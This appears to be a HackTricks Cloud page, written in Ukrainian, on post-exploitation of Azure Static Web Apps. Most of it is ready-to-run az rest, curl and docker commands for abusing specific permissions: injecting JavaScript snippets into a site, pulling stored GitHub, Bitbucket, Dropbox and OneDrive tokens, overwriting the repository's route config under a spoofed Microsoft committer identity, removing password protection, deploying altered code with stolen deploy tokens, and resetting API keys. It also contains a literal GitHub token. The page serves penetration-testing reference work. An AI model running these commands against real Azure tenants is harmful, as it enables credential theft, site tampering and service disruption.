Files
hacktricks-cloud/src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md

163 lines
9.7 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters
This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# Az - Static Web Apps Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Azure Static Web Apps
Для отримання додаткової інформації про цю службу перегляньте:
{{#ref}}
../az-services/az-static-web-apps.md
{{#endref}}
### Microsoft.Web/staticSites/snippets/write
Можливо змусити статичну веб-сторінку завантажувати довільний HTML-код, створивши фрагмент. Це може дозволити зловмиснику впровадити JS-код у веб-додаток і вкрасти чутливу інформацію, таку як облікові дані або мнемонічні ключі (в гаманцях web3).
Наступна команда створює фрагмент, який завжди буде завантажуватися веб-додатком::
```bash
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
```
### Читання налаштованих облікових даних третьої сторони
Як пояснено в розділі App Service:
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
Запустивши наступну команду, можна **прочитати облікові дані третьої сторони**, налаштовані в поточному обліковому записі. Зверніть увагу, що якщо, наприклад, деякі облікові дані Github налаштовані в іншому користувачеві, ви не зможете отримати токен з іншого.
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
Ця команда повертає токени для Github, Bitbucket, Dropbox та OneDrive.
Ось кілька прикладів команд для перевірки токенів:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Перезаписати файл - Перезаписати маршрути, HTML, JS...
Можливо **перезаписати файл у репозиторії Github**, що містить додаток через Azure, маючи **токен Github**, надіславши запит, подібний до наступного, який вказуватиме шлях до файлу для перезапису, вміст файлу та повідомлення про коміт.
Це може бути використано зловмисниками для того, щоб в основному **змінити вміст веб-додатку** для надання шкідливого контенту (викрадення облікових даних, мнемонічних ключів...) або просто для **перенаправлення певних шляхів** на свої власні сервери, перезаписуючи файл `staticwebapp.config.json`.
> [!WARNING]
> Зверніть увагу, що якщо зловмисник зможе скомпрометувати репозиторій Github будь-яким чином, він також зможе перезаписати файл безпосередньо з Github.
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
```
### Microsoft.Web/staticSites/config/write
З цією дозволом можливо **змінити пароль**, що захищає статичний веб-додаток, або навіть зняти захист з кожного середовища, надіславши запит, подібний до наступного:
```bash
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
```
### Microsoft.Web/staticSites/listSecrets/action
Ця дозволяє отримати **токен ключа API для розгортання** статичного додатку.
Цей токен дозволяє розгортати додаток.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```
Тоді, щоб оновити додаток, ви можете виконати наступну команду. Зверніть увагу, що ця команда була отримана, перевіряючи **як працює Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, оскільки це те, що Azure встановив за замовчуванням. Тому зображення та параметри можуть змінитися в майбутньому.
1. Завантажте репозиторій [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (або будь-який інший репозиторій, який ви хочете розгорнути) і виконайте `cd react-basic`.
2. Змініть код, який ви хочете розгорнути
3. Розгорніть його, виконавши (не забудьте змінити `<api-token>`):
```bash
docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
### Microsoft.Web/staticSites/write
З цією дозволом можливо **змінити джерело статичного веб-додатку на інший репозиторій Github**, однак, він не буде автоматично наданий, оскільки це потрібно робити з Github Action, зазвичай з токеном, який авторизував дію, оскільки цей токен не оновлюється автоматично в секретах Githb репозиторію (він просто додається автоматично, коли додаток створюється).
```bash
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
```
### Microsoft.Web/staticSites/resetapikey/action
З цією дозволом можливо **скинути API-ключ статичного веб-додатку**, потенційно викликавши DoS-атаки на робочі процеси, які автоматично розгортають додаток.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```
{{#include ../../../banners/hacktricks-training.md}}